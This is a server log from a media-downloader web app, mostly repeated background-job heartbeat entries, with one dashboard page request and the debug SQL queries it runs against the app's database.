[info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:44.293 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.375 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:24:14.295 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:44.297 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.376 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:25:14.300 [info] {"source":"oban","duration":1962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:44.302 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.377 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:26:14.304 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:44.306 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.378 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:27:14.308 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:44.310 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.379 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:28:14.312 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:44.314 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.380 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:29:14.316 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:44.319 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.381 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:30:14.321 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:44.323 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.382 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:31:14.325 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:44.327 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.383 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:32:14.329 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:44.331 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.384 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:33:14.333 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:44.335 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.385 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:34:14.337 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:44.339 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.386 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:35:14.341 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:44.343 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.387 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:36:14.345 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:44.347 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.388 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:37:14.349 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:44.351 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.389 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:38:14.353 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:44.355 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.390 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:39:14.357 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:44.359 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.391 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:40:14.361 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:44.363 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.392 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:41:14.365 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:44.367 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.393 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:42:14.369 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:44.371 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.394 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:43:14.373 [info] {"source":"oban","duration":1721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:44.376 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.395 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:44:14.378 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:44.380 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.396 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:45:14.382 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:44.384 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.397 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:46:14.386 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:44.388 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.398 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:47:14.390 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:44.392 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.399 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:48:14.394 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:44.396 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.400 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:49:14.397 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:44.400 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.401 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:50:14.403 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:44.405 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.402 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:51:14.407 [info] {"source":"oban","duration":1769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:44.410 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.403 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:52:14.412 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:44.414 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.404 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:53:14.416 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:44.419 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:58.147 [info] GET / 04:53:58.147 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:53:58.148 [debug] QUERY OK source="settings" db=0.2ms idle=1977.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:58.148 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1977.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:53:58.149 [debug] QUERY OK source="sources" db=0.2ms idle=1978.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:53:58.150 [debug] QUERY OK source="media_items" db=1.5ms idle=1340.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:53:58.151 [debug] QUERY OK source="media_items" db=0.5ms idle=340.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:53:58.152 [debug] QUERY OK source="settings" db=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:58.152 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:58.154 [debug] QUERY OK source="settings" db=0.2ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:58.156 [debug] QUERY OK source="tasks" db=0.5ms idle=4.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:53:58.157 [debug] QUERY OK source="media_items" db=0.5ms idle=5.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:53:58.158 [debug] QUERY OK source="media_items" db=0.9ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:53:58.159 [debug] QUERY OK source="sources" db=0.5ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 4] 04:53:58.165 [debug] QUERY OK source="media_items" db=1.4ms idle=9.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:53:58.167 [debug] QUERY OK source="media_items" db=1.5ms idle=9.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:53:58.168 [debug] QUERY OK source="sources" db=0.5ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:53:58.171 [info] Sent 200 in 24ms 04:54:00.405 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:54:14.421 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:44.423 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.406 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:55:14.425 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:44.427 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.407 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:56:14.429 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:44.431 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.408 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:57:14.433 [info] {"source":"oban","duration":1721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:44.436 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.409 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:58:14.438 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:44.440 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.410 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:59:14.442 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:44.444 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.411 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:00:14.446 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:44.448 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.412 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:01:14.450 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:44.452 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.413 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:02:14.454 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:44.456 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.414 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:03:14.458 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:44.460 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.415 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:04:14.462 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:44.464 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.416 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:05:14.466 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:44.468 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.417 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:06:14.470 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:44.472 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.418 [info] {"source":"oban","duration":196,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:07:14.474 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:44.476 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.419 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:08:14.478 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:44.480 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.420 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:09:14.482 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:44.484 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.421 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:10:14.486 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:44.488 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.422 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:11:14.490 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:44.492 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.423 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:12:14.494 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:44.496 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.424 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:13:14.498 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:44.500 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.425 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:14:14.502 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:44.504 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.426 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:15:14.506 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:44.508 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.427 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:16:14.510 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:44.512 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.428 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:17:14.514 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:44.516 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.429 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:18:14.518 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:44.520 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.430 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:19:14.522 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:44.524 